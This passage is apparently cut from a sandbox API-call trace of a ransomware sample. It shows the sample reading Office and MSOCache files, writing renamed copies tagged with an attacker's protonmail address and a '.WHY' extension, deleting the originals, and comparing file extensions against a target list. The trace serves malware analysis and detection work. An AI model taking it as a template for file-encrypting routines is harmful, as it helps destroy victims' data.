(hFile=0x1cc) returned 1 [0082.362] CloseHandle (hObject=0x1cc) returned 1 [0082.376] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.376] SetEndOfFile (hFile=0x1a0) returned 1 [0083.516] CloseHandle (hObject=0x1a0) returned 1 [0083.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0083.517] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0083.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.518] lstrlenW (lpString=".doc") returned 4 [0083.518] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0083.518] lstrlenW (lpString=".docx") returned 5 [0083.518] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0083.518] lstrlenW (lpString=".pdf") returned 4 [0083.518] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0083.518] lstrlenW (lpString=".xls") returned 4 [0083.518] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0083.518] lstrlenW (lpString=".xlsx") returned 5 [0083.518] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0083.519] lstrlenW (lpString=".ppt") returned 4 [0083.519] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0083.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.519] lstrlenW (lpString=".zip") returned 4 [0083.519] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0083.519] lstrlenW (lpString=".rar") returned 4 [0083.519] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0083.519] lstrlenW (lpString=".bz2") returned 4 [0083.519] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0083.519] lstrlenW (lpString=".7z") returned 3 [0083.519] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0083.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.520] lstrlenW (lpString=".dbf") returned 4 [0083.520] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0083.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.520] lstrlenW (lpString=".1cd") returned 4 [0083.520] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0083.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.520] lstrlenW (lpString=".jpg") returned 4 [0083.520] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0083.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.520] lstrlenW (lpString=".doc") returned 4 [0083.521] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0083.521] lstrlenW (lpString=".docx") returned 5 [0083.521] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0083.521] lstrlenW (lpString=".pdf") returned 4 [0083.521] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0083.521] lstrlenW (lpString=".xls") returned 4 [0083.521] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0083.521] lstrlenW (lpString=".xlsx") returned 5 [0083.521] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0083.521] lstrlenW (lpString=".ppt") returned 4 [0083.521] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0083.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.522] lstrlenW (lpString=".zip") returned 4 [0083.522] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0083.522] lstrlenW (lpString=".rar") returned 4 [0083.522] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0083.522] lstrlenW (lpString=".bz2") returned 4 [0083.522] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0083.522] lstrlenW (lpString=".7z") returned 3 [0083.522] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0083.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.522] lstrlenW (lpString=".dbf") returned 4 [0083.522] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0083.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.523] lstrlenW (lpString=".1cd") returned 4 [0083.523] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0083.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.523] lstrlenW (lpString=".jpg") returned 4 [0083.523] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0083.523] lstrcmpiW (lpString1=".CHM", lpString2=".WHY") returned -1 [0083.523] lstrlenW (lpString="PSS10R.CHM") returned 10 [0083.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 11 os_tid = 0x240 [0059.103] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x581848 [0059.104] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x591850 [0059.105] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5603b8 [0059.105] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x514338 [0059.105] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5603d0 [0059.105] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0x33a0020 [0059.105] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5603e8 [0059.106] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5603e8, Size=0x20) returned 0x5148c0 [0059.106] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5603e8 [0059.106] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5603e8, Size=0x20) returned 0x514870 [0059.106] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0059.106] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0059.106] Wow64DisableWow64FsRedirection (in: OldValue=0x2c7ff58 | out: OldValue=0x2c7ff58*=0x0) returned 1 [0059.106] lstrlenW (lpString="kernel32.dll") returned 12 [0059.106] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5148c0 | out: hHeap=0x4c0000) returned 1 [0059.106] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.106] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514870 | out: hHeap=0x4c0000) returned 1 [0059.106] Sleep (dwMilliseconds=0x64) [0059.463] Sleep (dwMilliseconds=0x64) [0059.598] Sleep (dwMilliseconds=0x64) [0060.050] Sleep (dwMilliseconds=0x64) [0060.771] Sleep (dwMilliseconds=0x64) [0061.005] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.005] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0061.005] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.006] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1450) returned 1 [0061.006] CloseHandle (hObject=0x1a0) returned 1 [0061.007] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0061.007] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.007] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.007] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.008] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.008] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0061.008] GetLastError () returned 0x0 [0061.009] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0061.258] WriteFile (in: hFile=0x140, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0061.260] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.260] WriteFile (in: hFile=0x140, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0061.261] SetEndOfFile (hFile=0x140) returned 1 [0061.261] CloseHandle (hObject=0x140) returned 1 [0061.269] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.270] SetEndOfFile (hFile=0x1a0) returned 1 [0061.272] CloseHandle (hObject=0x1a0) returned 1 [0061.272] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.273] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0061.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.382] lstrlenW (lpString=".doc") returned 4 [0061.382] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.383] lstrlenW (lpString=".docx") returned 5 [0061.383] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.383] lstrlenW (lpString=".pdf") returned 4 [0061.383] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.383] lstrlenW (lpString=".xls") returned 4 [0061.383] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.383] lstrlenW (lpString=".xlsx") returned 5 [0061.383] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.383] lstrlenW (lpString=".ppt") returned 4 [0061.383] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.383] lstrlenW (lpString=".zip") returned 4 [0061.383] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.383] lstrlenW (lpString=".rar") returned 4 [0061.383] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.384] lstrlenW (lpString=".bz2") returned 4 [0061.384] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.384] lstrlenW (lpString=".7z") returned 3 [0061.384] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.384] lstrlenW (lpString=".dbf") returned 4 [0061.384] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.384] lstrlenW (lpString=".1cd") returned 4 [0061.384] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.384] lstrlenW (lpString=".jpg") returned 4 [0061.384] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.385] lstrlenW (lpString=".doc") returned 4 [0061.385] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.385] lstrlenW (lpString=".docx") returned 5 [0061.385] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.385] lstrlenW (lpString=".pdf") returned 4 [0061.385] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.385] lstrlenW (lpString=".xls") returned 4 [0061.385] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.385] lstrlenW (lpString=".xlsx") returned 5 [0061.385] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.385] lstrlenW (lpString=".ppt") returned 4 [0061.385] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.386] lstrlenW (lpString=".zip") returned 4 [0061.386] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.386] lstrlenW (lpString=".rar") returned 4 [0061.386] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.386] lstrlenW (lpString=".bz2") returned 4 [0061.386] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.386] lstrlenW (lpString=".7z") returned 3 [0061.386] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.386] lstrlenW (lpString=".dbf") returned 4 [0061.386] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.386] lstrlenW (lpString=".1cd") returned 4 [0061.387] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0061.387] lstrlenW (lpString=".jpg") returned 4 [0061.387] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.387] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.388] lstrlenW (lpString="Setup.xml") returned 9 [0061.388] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.483] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2424) returned 1 [0061.483] CloseHandle (hObject=0x1a0) returned 1 [0061.484] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.484] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.484] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0061.484] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.485] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.485] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0061.490] GetLastError () returned 0x0 [0061.490] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x978, lpOverlapped=0x0) returned 1 [0061.494] WriteFile (in: hFile=0x1c8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x980, lpOverlapped=0x0) returned 1 [0061.497] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.497] WriteFile (in: hFile=0x1c8, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.497] SetEndOfFile (hFile=0x1c8) returned 1 [0061.497] CloseHandle (hObject=0x1c8) returned 1 [0061.499] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.500] SetEndOfFile (hFile=0x1a0) returned 1 [0061.502] CloseHandle (hObject=0x1a0) returned 1 [0061.502] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0061.503] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.503] lstrlenW (lpString=".doc") returned 4 [0061.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.503] lstrlenW (lpString=".docx") returned 5 [0061.503] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.503] lstrlenW (lpString=".pdf") returned 4 [0061.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.503] lstrlenW (lpString=".xls") returned 4 [0061.504] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.504] lstrlenW (lpString=".xlsx") returned 5 [0061.504] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.504] lstrlenW (lpString=".ppt") returned 4 [0061.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.504] lstrlenW (lpString=".zip") returned 4 [0061.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.504] lstrlenW (lpString=".rar") returned 4 [0061.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.504] lstrlenW (lpString=".bz2") returned 4 [0061.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.504] lstrlenW (lpString=".7z") returned 3 [0061.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.505] lstrlenW (lpString=".dbf") returned 4 [0061.505] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.505] lstrlenW (lpString=".1cd") returned 4 [0061.505] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.505] lstrlenW (lpString=".jpg") returned 4 [0061.505] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.505] lstrlenW (lpString=".doc") returned 4 [0061.505] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.506] lstrlenW (lpString=".docx") returned 5 [0061.506] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.506] lstrlenW (lpString=".pdf") returned 4 [0061.506] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.506] lstrlenW (lpString=".xls") returned 4 [0061.506] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.506] lstrlenW (lpString=".xlsx") returned 5 [0061.506] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.506] lstrlenW (lpString=".ppt") returned 4 [0061.506] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.506] lstrlenW (lpString=".zip") returned 4 [0061.506] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.506] lstrlenW (lpString=".rar") returned 4 [0061.506] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.507] lstrlenW (lpString=".bz2") returned 4 [0061.507] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.507] lstrlenW (lpString=".7z") returned 3 [0061.507] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.507] lstrlenW (lpString=".dbf") returned 4 [0061.507] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.507] lstrlenW (lpString=".1cd") returned 4 [0061.507] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.507] lstrlenW (lpString=".jpg") returned 4 [0061.507] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.508] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0061.508] lstrlenW (lpString="WordMUI.xml") returned 11 [0061.508] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 